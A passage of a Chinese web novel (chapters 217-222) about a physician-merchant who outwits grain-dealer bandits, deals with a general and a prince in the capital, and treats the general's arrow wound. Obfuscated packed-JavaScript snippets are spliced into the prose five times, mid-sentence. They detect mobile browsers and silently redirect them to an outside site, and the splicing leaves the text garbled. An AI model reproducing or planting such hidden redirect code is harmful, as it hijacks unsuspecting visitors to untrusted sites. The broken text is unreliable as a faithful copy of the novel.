那几袋“加料”粮食和成堆的紫草麻袋被他们优先抢走,扛在肩上,还有人迫不及待地抓了把袋子里的“白米”嗅了嗅,满意地点头。 第217章 好戏开场 “好汉!不能啊!给我们留点口粮吧!” 姜绾歌还在“哀求”。 “滚一边去!再啰嗦宰了你!” 一个匪徒恶狠狠地推搡了她一把。钱老板志得意满地一挥手:“撤!回老地方分东西去!” 匪徒们扛着“战利品”,呼哨着扬长而去,留下姜绾歌一行人“呆立”在原地,仿佛被吓傻了。 看着匪徒消失在峡谷另一头,姜绾歌脸上的“恐惧”瞬间消失,取而代之的是一抹冰冷的、带着算计成功的笑意。 “小姐?”石头凑过来,眼神询问。 “跟上!远远吊着!”姜绾歌压低声音,“注意隐蔽!好戏,还在后头呢!” 他们悄悄尾随,保持着安全距离。 果然如姜绾歌所料,匪徒们扛着沉重的货物,走出峡谷约莫七八里地,来到一处有水源的河滩空地,便迫不及待地停了下来,生火架锅。 “累死老子了!赶紧做饭!饿扁了!”匪徒们骂骂咧咧,将抢来的“粮食”袋子解开,舀出白花花的大米倒进锅里煮粥。 诱人的米香很快飘散开来。 姜绾歌带着人埋伏在不远处的土坡后面,静静等待着。时间一点点过去…… 大约半个时辰后,河滩上的画风突变! “哎哟!我……我肚子!”一个匪徒突然脸色煞白,捂着肚子弯下了腰。 “嘶……不行了!憋不住了!”另一个刚喝了两碗粥的匪徒猛地跳起来,裤子都来不及解利索就往树林里冲。 “噗——噗噗——”令人尴尬又痛苦的声音此起彼伏。 “啊!疼死我了!这粥……这粥有毒!”有人反应过来,指着那口冒着热气的锅,惊恐地大叫。 “老大!老大救命啊!我……我要拉**!”哭爹喊娘声响成一片。 整个河滩瞬间变成了大型露天茅厕现场。 匪徒们东倒西歪,有的蜷缩在地上痛苦呻吟,有的提着裤子在树林和空地间来回狂奔,空气中弥漫着难以言喻的恶臭。 钱老板更是狼狈不堪,脸色惨绿,瘫坐在一块石头上,捂着翻江倒海的肚子,冷汗涔涔,连骂人的力气都没了。 “时候到了!”姜绾歌眼中寒光一闪,霍然起身,“石头、阿福!抄家伙!拿回咱们的货!一个都别放过!” 她率先抽出腰间的连**,带着石头、阿福和几个手持棍棒的伙计,如同神兵天降般从土坡后冲了出来! “不许动!” “放下武器!” “谁敢反抗?!” 面对突如其来的袭击,那些拉得腿脚发软、几乎虚脱的匪徒哪里还有半分反抗之力?一个个像被抽了骨头的癞皮狗,轻易就被缴械制服,按倒在地。 钱老板看到姜绾歌那张冷若冰霜的脸出现在面前,瞬间什么都明白了! 他目眦欲裂,指着姜绾歌,又气又痛,声音都变了调:“是……是你!你这毒妇!在粮食里下毒!” “毒?”姜绾歌走到他面前,居高临下地看着他这副狼狈相,嗤笑一声。 “放心,死不了人,顶多让你三天离不开茅坑!这叫‘以其人之道还治其人之身’!想黑吃黑?也不掂量掂量自己几斤几两!” 她一脚踹在钱老板的肥臀上,将他踹了个狗吃屎,“动我的货?问过阎王爷他老人家同不同意了吗?!” 钱老板趴在地上,肚子疼得直抽抽,又羞又怒,破口大骂:“**!你不得好死!” “嘴还挺硬?”姜绾歌冷笑,从靴筒里抽出寒光闪闪的**,蹲下身,冰凉的刀锋轻轻拍在钱老板油腻的肥脸上。 “再骂一句试试?信不信我现在就帮你松松皮,放放你这身肥油?” 冰冷的触感和毫不掩饰的杀意,让钱老板瞬间噤若寒蝉,只剩下惊恐的喘息。 “把货都搬回来!清点清楚!”姜绾歌不再理会他,起身指挥,“还有他们这些马!全给我牵走!耽误老娘行程,这就是利息!”她行事果断,该拿的赔偿一分不少。 就在他们忙着收拾战利品时,一阵急促而整齐的马蹄声由远及近! 一队盔甲鲜明的骑兵如旋风般卷至河滩! 为首之人身披玄甲,面容冷峻,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158558|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如电,正是镇国将军厉战霆! 他显然是接到巡逻兵的报告,说此处有商队被劫,特地带兵赶来。 厉战霆勒住战马,锐利的目光扫过一片狼藉的河滩——瘫软哀嚎的匪徒,满地污秽,以及……正从容指挥手下回收货物、擦拭**的姜绾歌。 她站在混乱之中,神色平静,仿佛眼前的一切不过是寻常小事。 “姜大夫?”厉战霆翻身下马,大步走到她面前,剑眉微蹙,“这是……” “哦,厉将军。”姜绾歌收起**,语气平淡得像在说今天天气不错,“没什么大事。路上遇到几只不开眼的拦路野狗,想抢我的货。给他们喂了点‘巴豆开胃菜’,现在都老实了。” 她轻描淡写,却将事情说得明明白白。 厉战霆看着地上那些明显是粮商打扮、此刻却拉得不成人形的“匪徒”,又看看姜绾歌身边堆放的紫草麻袋和牵过来的马匹,瞬间明白了七八分。 他眼底掠过一丝不易察觉的笑意,这女人……果然够辣够狠! “你没事就好。”厉战霆点点头,目光落在她手中的**上,那上面似乎还沾着一点擦拭未净的……油腻?他下意识地摸了下自己肩甲下方——那里曾被**所伤。 姜绾歌顺着他的目光,也瞥了一眼自己的**,随即像是想起什么,伸手从随身的药囊里摸出一个用干净棉布仔细包好的小包,递了过去:“喏,接着。” 厉战霆下意识接过,入手微沉,布包散发着淡淡的、熟悉的药草清香。 “金疮药,我特制的。”姜绾歌解释道,语气带着医者的专业。 “你那箭伤,皮肉看着长好了,里面的新肉还嫩得很,经不起大动作。这药接着用几天,活血生肌,能好得更利索些,免得落下阴雨天酸痛的病根。”她的关心藏在专业的叮嘱里。 厉战霆握着尚带她体温的药包,心头微暖。 他摩挲着布包,指尖忽然触到内层一角,似乎有细微的凸起。 他不动声色地用指腹捻了捻——是一个用同色丝线精心绣出的、极其小巧的“姜”字。 第218章 回到京城 针脚细密,藏在布料纹理中,若非仔细触摸,几乎难以发现。 这个隐秘的标记,像一颗小石子投入心湖,让他平静的心绪泛起一丝微澜。 她特意绣上的?还是药铺统一的标记?各种念头一闪而过,他面上却依旧沉稳,只将药包仔细收进怀中:“多谢姜大夫,费心了。” “将军!这些匪徒如何处置?”副将指着地上呻吟的钱老板等人请示。 厉战霆的眼神瞬间变得冰冷锐利,扫过钱老板那张因痛苦和恐惧而扭曲的肥脸,沉声道:“光天化日,冒充匪类,劫掠合法商队,形同叛逆!按我大梁军律,持械劫掠者——斩!拖下去,就地正法!首级悬于漠北镇门三日,以儆效尤!” 他的声音斩钉截铁,带着铁血统帅不容置疑的威严。对这种趁乱**、破坏秩序的蠹虫,他向来毫不手软! “遵命!”副将凛然应诺,挥手示意士兵上前拖人。钱老板等人顿时吓得魂飞魄散,哭爹喊娘求饶,但已无济于事。 姜绾歌冷眼看着钱老板被拖走,心中并无波澜。这种人,死不足惜。她看向厉战霆,他处理此事雷厉风行,手段果决,确实有大将之风。 “姜大夫接下来有何打算?回京?”厉战霆处理完军务,转向她问道。 “嗯,货齐了,该回去了。”姜绾歌点头,“答应将军的三箱金疮药,回去后我会尽快备齐,派人押送过来。” “药不急。”厉战霆摆摆手,目光落在她身上,带着一丝不易察觉的郑重,“此去京城,路途依旧不太平。大股胡人虽溃,散兵游勇犹在。务必小心。若遇棘手之事……” 他顿了顿,声音低沉有力,“可报我厉战霆之名!边军各部,见此名如见本将,当竭力护你周全。”这是他对救命恩人兼合作伙伴的承诺,重若千钧。 听到这话,姜绾歌心中微微一暖。这铁血将军,倒是个重情重义、言出必践之人。“谢将军关照。我记下了。”她抱拳,郑重道谢。 “一路平安。”厉战霆也抱拳回礼,目光在她脸上停留了一瞬。 “将军保重。”姜绾歌不再多言,转身利落地登上马车,“石头,阿福,出发!” 马车辘辘,载着四千多斤紫草和一段惊心动魄的漠北记忆,缓缓驶离河滩,向着京城的方向行去。 厉战霆驻马原地,目送着车队消失在戈壁的地平线上,直到再也看不见,才调转马头。 怀中那个带着隐秘“姜”字的药包,似乎还残留着淡淡的暖意。 看着姜绾歌的马车化作戈壁尽头的一个黑点,最终消失不见,厉战霆才缓缓收回目光。 手指无意识地按在胸口,隔着冰冷的甲胄,似乎还能感受到怀中那个药包的轮廓,以及……布料下那个隐秘的、针脚细密的“姜”字带来的奇异触感。 一丝说不清道不明的情绪,如同投入深潭的石子,在他向来只装着军务战策的心湖里,漾开了一圈微澜。 “将军,该回营了。”副将的声音将他拉回现实。 厉战霆眼神瞬间恢复清明,如同出鞘的利刃,沉声道:“收队!” 官道上,姜绾歌的马车平稳地驶向京城。车厢内,她倚着软垫,心情如同车窗外开阔的戈壁,一片晴朗。 这趟漠北之行,堪称完美!四千多斤上等紫草,以抄底的价格收入囊中,制成金疮药后的利润足以让杏林堂和醉仙楼再上一个台阶。 更重要的收获,是与镇国将军厉战霆建立的联系。 这人刚毅勇猛,重诺守信,在军中威望极高。 不仅是一笔稳定的大宗军需订单,更是一条在乱世中极为珍贵的“安全通道”。 想到他给予的“报我厉战霆之名”的承诺,姜绾歌嘴角便忍不住微微上扬。 这可比真金白银更让她安心。 “小姐,您这一路都笑眯眯的,捡着金元宝啦?”石头一边驾车,一边忍不住回头打趣。 “比金元宝实在!”姜绾歌心情好,也不计较他的调侃,“这趟生意做得漂亮,成本压得低,销路也打开了。更重要的是,”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16158559|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>她顿了顿,眼中闪过精明的光,“搭上了厉将军这条线。军中的药材需求,可是个深不见底的大池子!” 石头恍然大悟:“哦!小姐是说,以后咱们的药能卖给军队了?那得是多少人啊!” “正是!”姜绾歌点头,“而且,在这京城地界,多一个手握重兵、说话管用的朋友,总归不是坏事。关键时候,能顶大用!” 她看得长远,人脉亦是实力。 两日后,熟悉的京城城墙终于映入眼帘。 看着熙熙攘攘的城门和鳞次栉比的屋舍,姜绾歌长长舒了一口气,连日奔波的疲惫似乎都消散了不少。 “总算到家了!” 马车刚驶入城门洞,一个穿着体面、眼神机灵的小厮便快步迎了上来,对着车厢恭敬行礼:“姜大夫安好!小的奉我家主人之命,在此恭候多时了。” 姜绾歌掀开车帘,目光锐利地扫过对方:“你家主人是?” “回姜大夫,小的主上是云霁王爷。”小厮垂首回答,姿态谦卑却带着不容拒绝的意味。 顾云霁?姜绾歌心头微动。这位心思深沉的王爷,在她离京期间动作频频,此刻突然相召,绝非闲谈。 她面上不动声色,略作沉吟道:“替我回禀王爷,一路风尘,容我先回杏林堂稍作安顿。今晚戌时,必当准时过府拜见。” “是,小的定当如实回禀。”小厮躬身退下,快步离去。 看着小厮消失在人流中,姜绾歌方才轻松的心情蒙上了一层阴影。 漠北的刀光剑影、快意恩仇仿佛还在昨日,一回来便要立刻卷入这京城波谲云诡的暗流。 她揉了揉眉心,低声自语:“树欲静而风不止……也罢,该来的总会来。” 语气中带着一丝无奈,但更多的是面对挑战的冷静。 马车驶向杏林堂,远远便看见阿福在门口焦急地张望。 一见马车,他立刻满脸喜色地迎了上来:“东家!您可算回来了!您再不回来,铺子门槛都要被踏平了!” 第219章 户部尚书的柳姨娘 “哦?生意这么好?”姜绾歌下车,边往里走边问。 “何止是好!是火爆!”阿福跟在后面,声音激动。 “琉璃坊那边,贵人们的订单雪片似的飞来!秋姨娘都快招架不住了,天天派人来问您几时回!还有好些新样子,都等着您定夺呢!醉仙楼的‘琉璃宴’更是天天爆满,座无虚席!” 阿福连珠炮似的汇报着喜讯。 姜绾歌听着,嘴角终于又扬起了真心的笑意。 琉璃生意是她布局京城高端市场的重要棋子,开局如此顺利,自然令人欣喜。 “看来你们这些日子没偷懒,做得不错。”她赞许地点点头。 进入内堂听雨轩,姜绾歌刚坐下准备喝口热茶,阿福又凑过来,压低声音道。 “东家,还有件事……户部尚书府上那位新得宠的柳姨娘,您离京这些天,又来了两趟。” 姜绾歌端茶的手一顿,眼神瞬间变得锐利:“还是买那些药?” “正是!”阿福点头,声音更低,“而且量一次比一次大!专挑些药性极猛的虎狼之药,什么‘鹿茸血’、‘海马鞭’之类的,还鬼鬼祟祟的,生怕人看见。” 姜绾歌放下茶盏,指节轻轻敲击着桌面。 户部尚书年逾花甲,早已是**之末,他那把老骨头哪经得起这等虎狼之药的折腾? 这柳姨娘如此行径……她眼中闪过一丝了然和冰冷的算计。 户部尚书倒台的消息在京城掀起轩然大波没几天,朱雀大街便被震天的锣鼓和百姓的欢呼淹没——厉战霆大军凯旋了! 铁甲映日,旌旗招展,得胜之师的凛凛威风让整个京城为之沸腾。 姜绾歌并未去挤那热闹。 在确认所有紫草安全入库后,她便带着石头快马加鞭赶回了杏林堂。 堆积如山的琉璃订单、醉仙楼的账目流水、漠北得来的那份暗藏玄机的“官员嗜好清单”,都需要她这主心骨回来梳理定夺。 此刻,她正坐在听雨轩内,面前摊开着厚厚的账册,指尖划过一行行清晰的数字。 漠北紫草,成本一万八千两,预计制成金疮药后的收益……她嘴角微扬,在最后一页落下结论:净利,三万五千两有余。 这还不算顺手“缴获”的那些马匹和匪徒身上搜刮的浮财。 “东家,算出来啦?咱们这趟到底赚了多少?”阿福在一旁眼巴巴地问,满脸期待。 “至少这个数。”姜绾歌伸出三根手指晃了晃,随即又加了一根半,“运气好的话,还能再多点。” “三万……五?!”阿福倒吸一口凉气,激动得搓手,“发了!东家!咱们这回可真是发大财了!” “钱是赚了,”姜绾歌合上账册,神色却未见轻松。 “但树大招风。户部尚书是倒了,可他那些盘根错节的党羽还在暗处,难保不会把账算到我们头上。醉仙楼和琉璃坊如今都是靶子,都给我打起十二分精神!” 话音未落,听雨轩门口光线一暗!一股裹挟着塞外风沙与血腥气的凛冽气息骤然涌入! “当啷!” 一声沉重的闷响!一柄造型狞厉、刀鞘镶嵌着斑斓宝石的胡人弯刀,如同刚从战场上拔出,带着未散的硝烟和暗沉的血迹,被主人随手掷在了姜绾歌面前的桌案上,震得茶盏轻晃。 姜绾歌心头一跳,抬眸望去。 只见厉战霆高大的身影堵在门口,一身玄色战甲未卸,征尘仆仆,眉宇间还残留着战场归来的肃杀之气,如同出鞘的凶刃,锋芒逼人。 “厉将军?”姜绾歌是真有些意外,“你不在朱雀大街受万民朝贺,跑我这小庙来做什么?” 她目光扫过那柄一看就价值不菲、却也杀气腾腾的弯刀。 “给你的。”厉战霆言简意赅,下颌朝弯刀一点。 “给我?”姜绾歌挑眉,伸出两根手指,嫌弃地捏起刀鞘一角掂了掂,又拍了拍上面沾着的沙土血渍。 “我要这玩意儿干嘛?砍柴都嫌它笨重!还沾着血,看着就晦气!折现吧,十两银子,我收了。” 她语气里满是市侩的嫌弃,仿佛在评价一件不入眼的旧货。 厉战霆被她这反应噎了一下,随即气笑了:“十两?姜绾歌,你可知这是胡人左贤王的佩刀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166198|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?在战场上,它的悬赏就值千金!” “千金?”姜绾歌嗤笑一声,将刀往桌上一丢。 “千金那也是把**的凶器!放我这救死扶伤的医馆里,合适吗?再说了,我又不是你们这些舞刀弄枪的糙汉子,给我,除了占地方落灰,还能干嘛?” 她理由充分,嫌弃得理直气壮。 厉战霆看着她那张写满“不识货”和“嫌麻烦”的脸,无奈地摇摇头。 相处下来,他多少摸清了这女人的脾气——嘴硬心明。 他知道,她嘴上嫌弃,但该收的东西绝不会往外推。 他不再多言,转身欲走,却又停住:“对了,那三箱金疮药……” “急什么?”姜绾歌没好气地打断他,仿佛他问了个多愚蠢的问题。 “紫草昨天才运回来,堆在库房里还没捂热呢!配药不得花功夫?十天!给我十天时间,保证给你送去最好的!药效不行,你砸我招牌!” “好,十天。”厉战霆点头,眼中掠过一丝笑意,“我在将军府,静候佳音。” 说完,不再停留,高大的身影如来时一般,带着战场的气息大步离去。 待那迫人的气势消失,姜绾歌的目光才重新落回桌面的弯刀上,眼神变得复杂。 这男人……心思倒是细。 她起身,拿起弯刀,入手沉甸甸的,冰冷的金属感中似乎还残留着一丝沙场的温度。 “阿福,取块干净细绒布来。”她吩咐道。 阿福很快取来。 姜绾歌亲自动手,仔仔细细地擦拭着刀鞘上每一处镶嵌的宝石缝隙,抹去刀柄上沾染的尘土和暗沉的血迹。 她的动作异常专注,指尖拂过刀鞘上几道不易察觉的细微划痕时,微微一顿。 外人看来她只是在清理一件碍眼的战利品,唯有她自己知道。 那是一份被巧妙藏匿其中的北境布防图。 厉战霆将此物交托,其信任之重,不言而喻。 将弯刀擦拭得焕然一新,寒光隐隐,姜绾歌环顾听雨轩,最终将它稳稳挂在了正对门口最显眼位置的白墙上。 第220章 处置柳姨娘 锋锐的刀锋在光线下流转着冷冽的光华,成为这雅致空间里一道极具冲击力的风景。 “东家,您这……”阿福看着那杀气腾腾的弯刀挂在素雅的墙壁上,表情有些扭曲,“刚才不还说晦气占地方吗?” “此乃镇国将军亲赠,阵斩胡酋的宝刀!挂在这里,辟邪!镇宅!更能让某些不长眼的知道,咱们杏林堂背后,站着的是谁!” 理由冠冕堂皇,掩盖了更深的心思。 她顿了顿,仿佛才想起正事,“对了,户部尚书家那个柳姨娘,最近还来吗?” “来过!就前天!”阿福立刻被转移了注意力,压低声音。 “还是老样子,遮遮掩掩的,专挑些药性霸道的虎狼之药,什么‘三鞭酒’、‘金刚丸’,一次买了二十多副!伙计说她那眼神,跟做贼似的。” 姜绾歌眼中寒光一闪,嘴角勾起一抹冰冷的弧度:“一个年过花甲、行将就木的老尚书……他的姨娘,买这么多壮阳猛药,你说,是给谁用的?”她的话如同淬毒的针,直指核心。 傍晚时分,顾云霁如期而至。 他今日一身月白锦袍,玉冠束发,手持一柄泥金折扇,端的是风流倜傥,贵气逼人。 只是那双狭长凤目扫过听雨轩,瞬间便如磁石般被墙上那柄格格不入的弯刀吸引。 “姜老板这听雨轩,何时改了武库的布置?”顾云霁摇着折扇,缓步走近,目光饶有兴致地打量着那柄弯刀。 “这战利品……收得倒是别致。”他语气玩味,指尖状似无意地拂过镶嵌着宝石的刀柄,动作优雅,却带着一种洞察的审视。 姜绾歌心头微凛,面上却笑得云淡风轻。 “王爷说笑了。朋友所赠,盛情难却。挂在这里,权当是个念想,也添几分……英武之气?” 她起身相迎,巧妙地挡在顾云霁与弯刀之间。 “哦?念想?”顾云霁的目光从弯刀移回姜绾歌脸上,笑意更深,带着洞悉人心的锐利。 “这刀的形制,倒像是胡人王庭之物。姜老板这位朋友,手笔不小啊。” 他的手指似有若无地划过刀柄末端一个极隐蔽的卡榫位置。 姜绾歌心知他绝非无的放矢,她不动声色地侧身,伸手看似随意地将弯刀取下,指尖却精准地拂过刀鞘内缘藏图的位置,将其牢牢按住,同时口中话锋一转,带着几分刻意的讥诮。 “一把刀而已,再贵重也死物。倒是王爷,与其关心这些身外之物,不如多留心留心身边那些……活色生香的热闹?” 顾云霁果然被引开了注意力,挑眉:“哦?姜老板又有何高见?” 姜绾歌将弯刀随手搁在旁边的兵器架上,仿佛丢开一件碍事的东西,压低声音,语气带着几分市井妇人讲八卦的神秘。 “比如,户部尚书府上那位新晋得宠、千娇百媚的柳姨娘……您猜怎么着?隔三差五就鬼鬼祟祟摸到我那小药铺,专买些药性霸道的虎狼之药!什么‘龙精虎猛丹’、‘金枪不倒散’……一次就是十几二十副!” 她啧啧两声,眼神意味深长,“您说,尚书大人那身子骨,经得起这么补吗?还是说……这补药,另有其人需要?”话点到即止。 顾云霁摇扇的动作骤然一顿,凤目微眯,眼底瞬间掠过一丝冰冷的、如同毒蛇锁定猎物般的精光。 他沉默片刻,折扇“唰”地一声合拢,轻轻敲击掌心,唇角勾起一抹毫无温度的笑意。 “原来如此……看来某些人不仅前庭失火,后院……也早已是漏雨的茅屋了。有趣,着实有趣。” 姜绾歌不再多言,只是端起茶盏,慢条斯理地啜饮一口。 她知道,以顾云霁的手腕和掌控力,这个消息如同投入池塘的石子,必将掀起他想要的波澜。 当夜,一个消息如同长了翅膀般悄然在京城某些圈层里流传开来。 户部尚书府那位新宠柳姨娘,忽染恶疾,暴毙身亡。 府中对外宣称是急症,草草发丧。然而,更深处的风声却隐约透出,那姨娘实则是“行为不检,秽乱内帷”,被秘密处置了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16166199|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 实际上,柳姨娘并没有死,而是被秘密发卖到了南方的青楼。至于她在外面的那个相好,则被悄无声息地处理掉了。整个过程干净利落,没有留下任何痕迹。 第二天早上,阿福兴奋地跑来汇报:东家!大新闻!户部尚书家出事了! 什么事?姜绾歌明知故问。 那个柳姨娘昨夜暴毙了!阿福压低声音,听说是染了什么脏病,尚书大人气得差点背过气去! 是吗?姜绾歌淡淡地说,那还真是报应不爽啊。 她心中明白,这是顾云霁的手笔。这个男人行事果然狠辣,得到消息后立刻就动手了,而且处理得滴水不漏。 东家,您怎么一点都不吃惊?阿福好奇地问道。 有什么好吃惊的?姜绾歌冷笑,做了亏心事,迟早要付出代价。这个柳姨娘平时行为不端,现在出事也是理所当然。 虽然嘴上这么说,但她心中还是有些感慨。在这个权力至上的时代,像柳姨娘这样的女人,不过是权贵手中的玩物,说丢就丢,说处理就处理,毫无反抗的余地。 对了,她忽然想起什么,最近有没有其他官员的家属来买药? 有几个,阿福掰着手指数,工部侍郎夫人买过安胎药,刑部主事的小妾买过调经的药,还有...... 都记录下来,姜绾歌打断他,包括他们买了什么药,什么时候买的,花了多少钱,统统记录下来。 东家,您这是要干什么?阿福不解地问。 知己知彼,百战不殆,姜绾歌神秘地笑了,这些信息说不定什么时候就用得上。 她看着墙上的那把弯刀,心中暗暗发誓:在这个弱肉强食的世界里,她必须掌握足够的筹码,才能保护自己和身边的人。 无论是厉战霆的信任,还是顾云霁的合作,都是她生存下去的依仗。 但她也清楚,这些男人都有自己的目的,她必须时刻保持警惕。 我要在这个京城站稳脚跟,她握紧拳头,谁也别想把我当软柿子捏! 第221章 寒夜疗伤 三日后的深夜,姜绾歌正在杏林堂后院的密室里制作答应给厉战霆的金疮药。漠北收来的紫草品质极佳,配合她独有的配方,制出的金疮药药效比以往强了一倍不止。 东家,您歇会儿吧,石头在一旁心疼地说,您都连着熬了三个晚上了。 急什么急?还差最后一批就够三箱了,姜绾歌头也不抬地继续研磨药材,答应人家的事,老娘从来不拖延。 正说着话,门外忽然传来急促的敲门声,还伴随着马蹄声和金属碰撞声。 什么**半夜的敲门?石头警觉地握紧了腰间的连**。 姜绾歌擦了擦手,走到门口问道:谁? 姜大夫!是我!门外传来一个熟悉的声音,将军受伤了,请您快去看看! 是厉战霆手下的副将!姜绾歌心头一跳,连忙打开门。只见那副将满身血迹,神色焦急。 怎么回事?伤得重不重?她一边问一边抓起药箱。 将军追击残敌时中了胡人的暗算,箭伤很深,副将急道,军医说可能伤到了内脏,您快去看看吧! 石头,备马!姜绾歌毫不犹豫,阿福,把我的手术器具都拿上! 夜色如墨,姜绾歌跟着副将快马加鞭赶到将军府。府中灯火通明,到处都是匆忙走动的人影,显然都在为厉战霆的伤势忙碌。 姜大夫来了!有**声喊道。 姜绾歌直接被带到厉战霆的卧房。只见他躺在床上,脸色苍白如纸,胸前缠着厚厚的绷带,绷带上还渗着血迹。 让开让开!她推开围在床边的军医和侍从,开始检查厉战霆的伤势。 他的呼吸很急促,额头上还在冒冷汗,显然疼得厉害。姜绾歌小心地解开绷带,露出下面的伤口。 妈的,这箭射得真够狠的,她看着那道深深的伤口,咬牙切齿,差一寸就射中要害了。 箭伤在左肋下方,虽然避开了心脏,但伤得很深,而且撕裂的范围很大。更要命的是,伤口周围开始发炎,如果不及时处理,很可能感染。 军医,他发烧多久了?她问道。 从傍晚开始就一直在烧,老军医擦着汗回答,我们用了各种退烧的药都不管用。 姜绾歌伸手摸了摸厉战霆的额头,烫得吓人。这种高烧如果持续下去,就算伤口愈合了,人也可能烧坏脑子。 都出去!她大声命令,这里不需要这么多人!石头留下帮忙,其他人都滚出去! 房间里的人面面相觑,但看到姜绾歌的威严,还是乖乖退了出去。 石头,生火,把我的银针都烤一遍,她开始脱下厉战霆的上衣,还有,准备热水和干净的布条。 当她解开厉战霆的内衣时,忽然发现他贴身藏着一个小小的布包。那布包很眼熟,姜绾歌仔细一看,心头猛地一震——正是当初她给他的那个药包,上面还绣着她的名字! 他居然一直带着?她心中涌起一阵复杂的情绪。 那个药包已经有些旧了,显然经常被触摸,但依然保存得很好。布包的边角已经磨得有些**糙,可见厉战霆平时没少摸它。 小姐,水烧好了,石头的声音把她从沉思中拉回现实。 好,先清洗伤口,她强迫自己专心治疗,将那个药包小心地放在一边。 清洗伤口的过程很痛苦,即使是昏迷中的厉战霆也疼得皱起眉头,嘴里发出低低的呻吟声。 忍着点,姜绾歌一边操作一边说,虽然知道他听不见,但还是忍不住安慰,马上就好了。 处理完伤口,她开始施针退烧。银针准确地刺入厉战霆的几个关键穴位,希望能降低他的体温。 忙活了大半夜,厉战霆的烧总算退了一些,但人依然昏迷不醒。姜绾歌累得筋疲力尽,靠在椅子上小憩。 就在她迷迷糊糊要睡着的时候,忽然感觉到有人抓住了她的手。 她睁开眼,发现厉战霆虽然还在昏迷,但右手却紧紧地握着她的手,而且越握越紧。 他这是怎么了?她试图挣脱,但厉战霆的手劲很大,她一时挣不开。 姐姐......姐姐别走......厉战霆在昏迷中呓语,声音虚弱但充满了痛苦,求你别丢下我...... 姜绾歌愣住了。他说的是姐姐? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16174185|174770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 难道是在梦中把她当成了别人? 那些坏人......他们要带走姐姐......厉战霆继续呓语,眉头紧皱,显然沉浸在某种痛苦的回忆中,我要保护姐姐......我要变强...... 姐姐答应过......永远不离开我的......他的声音越来越虚弱,但手却握得更紧,为什么......为什么要走...... 听着这些断断续续的呓语,姜绾歌心中涌起一阵酸楚。这个在战场上威风凛凛的将军,原来也有这样脆弱的一面。 小姐,要不您先挣开吧?石头在一旁小声建议,他力气这么大,您的手会疼的。 姜绾歌看着厉战霆痛苦的表情,最终还是没有挣脱:算了,就这样吧。说不定他把我当成什么重要的人了,挣脱了反而会让他更痛苦。 她重新坐回椅子上,任由厉战霆握着自己的手。虽然被握得有些疼,但看着他因为握住她的手而渐渐平静下来的表情,她心中竟然有种说不出的温暖。 姐姐......真的是你吗?厉战霆的呓语声更轻了,但语气中带着一丝希望,我还以为......再也见不到你了...... 胡人来了......好多胡人......他们抢走了姐姐......他的声音中充满了绝望,我太小了......保护不了姐姐...... 姜绾歌听到这里,终于明白了他呓语的内容。这个铁血将军童年时一定经历过什么创伤,很可能是亲人**人掳走了。 我练武......我要变得很强很强......厉战霆继续说着,这样就能保护重要的人了...... 重要的人......他的声音越来越模糊,但手依然紧握着姜绾歌,不会再让任何人......离开我了...... 姜绾歌看着他紧闭的双眼,心中五味杂陈。这个在战场上杀敌如麻的将军,原来内心深处还住着一个失去亲人的孩子。 天色渐亮,厉战霆的烧彻底退了,呼吸也平稳了很多。姜绾歌感觉到他握着自己手的力道松了一些,但依然没有完全松开。 第222章 旧梦 小姐,您休息一下吧,石头心疼地说,您都一夜没睡了。 再等等,姜绾歌摇摇头,等他彻底稳定了再说。 又过了一个时辰,厉战霆的眼皮终于颤动了几下,缓缓睁开了眼睛。 